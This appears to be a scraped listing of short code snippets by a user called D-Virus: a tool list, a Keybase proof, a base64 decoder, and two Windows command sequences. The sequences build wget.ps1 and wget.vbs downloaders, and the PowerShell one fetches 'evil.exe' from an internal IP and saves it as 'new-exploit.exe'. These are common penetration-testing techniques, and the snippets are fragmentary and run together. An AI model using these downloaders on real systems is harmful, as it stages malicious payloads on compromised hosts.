D-Virus

Write-Host "dvirus los saluda"

D-Virus

#!/bin/bash
tools="
aeskeyfind
autopsy
bcrypt
bkhive
ccrypt
clamav
cryptcat
curl

D-Virus

Keybase proof

I hereby claim:

• I am d-virus on github.
• I am dvirus (https://keybase.io/dvirus) on keybase.
• I have a public key ASDK4mWrXfTmIWEoYpzG7GC-ExKzIKvc19qQApcWQ6LZPgo

To claim this, I am signing this object:

D-Virus

from base64 import b64decode

target = open('base','r').readline()
decoded = True
while decoded:
    try:
        print target
        target = b64decode(target)

    except:

D-Virus

echo $storageDir = $pwd > wget.ps1
echo $webclient = New‐Object System.Net.WebClient >>wget.ps1  
echo $url = "http://192.168.10.52:8000/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

D-Virus

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs